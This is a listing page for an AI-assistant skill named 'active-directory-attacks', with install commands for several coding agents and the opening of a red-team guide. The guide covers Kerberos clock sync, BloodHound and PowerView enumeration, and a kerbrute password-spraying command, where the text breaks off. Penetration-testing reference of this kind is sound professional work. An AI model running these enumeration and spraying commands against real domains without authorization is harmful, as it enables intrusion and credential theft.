## What it does

The skill equips AI assistants with tactical procedures for Windows domain security assessments. It covers initial Kerberos clock synchronization, BloodHound domain mapping, and PowerView Active Directory queries. It also includes steps for password spraying, Kerberoasting, AS-REP roasting, and DCSync hash extraction.

Techniques rely on specialized toolsets. The assistant references Impacket scripts, Mimikatz, Rubeus, CrackMapExec, and Certipy for certificate services testing. Exploitation paths for ZeroLogon and PrintNightmare are also documented. Without domain credentials and network connectivity to the domain controller, most tasks cannot run.

Testing requires a Kali Linux or Windows environment.

## Install

### Claude Code (native platform)

1. **Skills CLI (Vercel)**
```bash
npx skills add zebbern/claude-code-guide --skill active-directory-attacks -a claude-code
```

2. **Manually: put the files in place**
- File: `~/.claude/skills/active-directory-attacks/SKILL.md` — Copy the whole skill folder; for one project use .claude/skills/active-directory-attacks/

### Codex

1. **Skills CLI (Vercel)**
```bash
npx skills add zebbern/claude-code-guide --skill active-directory-attacks -a codex
```

2. **Manually: put the files in place**
- File: `.agents/skills/active-directory-attacks/SKILL.md` — For all projects use ~/.agents/skills/

### Cursor

1. **Skills CLI (Vercel)**
```bash
npx skills add zebbern/claude-code-guide --skill active-directory-attacks -a cursor
```

2. **Manually: put the files in place**
- File: `.cursor/skills/active-directory-attacks/SKILL.md` — Cursor also reads .agents/skills/ and .claude/skills/

### GitHub Copilot

1. **GitHub CLI**
```bash
gh skill install zebbern/claude-code-guide active-directory-attacks
```

2. **Manually: put the files in place**
- File: `.github/skills/active-directory-attacks/SKILL.md`

### Gemini CLI

1. **Skills CLI (Vercel)**
```bash
npx skills add zebbern/claude-code-guide --skill active-directory-attacks -a gemini-cli
```

2. **Platform CLI**
```bash
gemini skills install https://github.com/zebbern/claude-code-guide --path skills/active-directory-attacks
```

### Windsurf (Devin Desktop)

**Manually: put the files in place**
- File: `.devin/skills/active-directory-attacks/SKILL.md` — The legacy .windsurf/skills/ path still works

### OpenCode

**Skills CLI (Vercel)**
```bash
npx skills add zebbern/claude-code-guide --skill active-directory-attacks -a opencode
```

### Claude.ai

**Claude.ai**
- Zip the folder and upload it in Settings → Capabilities → Skills

Where a file is given instead of a command, copy the files from the source to that path: https://github.com/zebbern/claude-code-guide/tree/HEAD/skills/active-directory-attacks/SKILL.md

## When to use it
- map domain attack paths with BloodHound and SharpHound
- synchronize system clocks for Kerberos authentication
- extract and crack account hashes via Kerberoasting and DCSync
- audit Active Directory Certificate Services for ESC1 misconfigurations

## Example prompts
- Show me the PowerView commands to find domain users with local administrator rights.
- How do I run SharpHound data collection and inspect results in BloodHound?
- Provide the syntax for testing ESC1 certificate template misconfigurations with Certipy.

# Active Directory Attacks

## Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

## Inputs/Prerequisites

- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

## Outputs/Deliverables

- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms

---

## Essential Tools

| Tool | Purpose |
|------|---------|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |

---

## Core Workflow

### Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

```bash
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>
```

### Step 2: AD Reconnaissance with BloodHound

```bash
# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
```

### Step 3: PowerView Enumeration

```powershell
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
```

---

## Credential Attacks

### Password Spraying

```bash
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
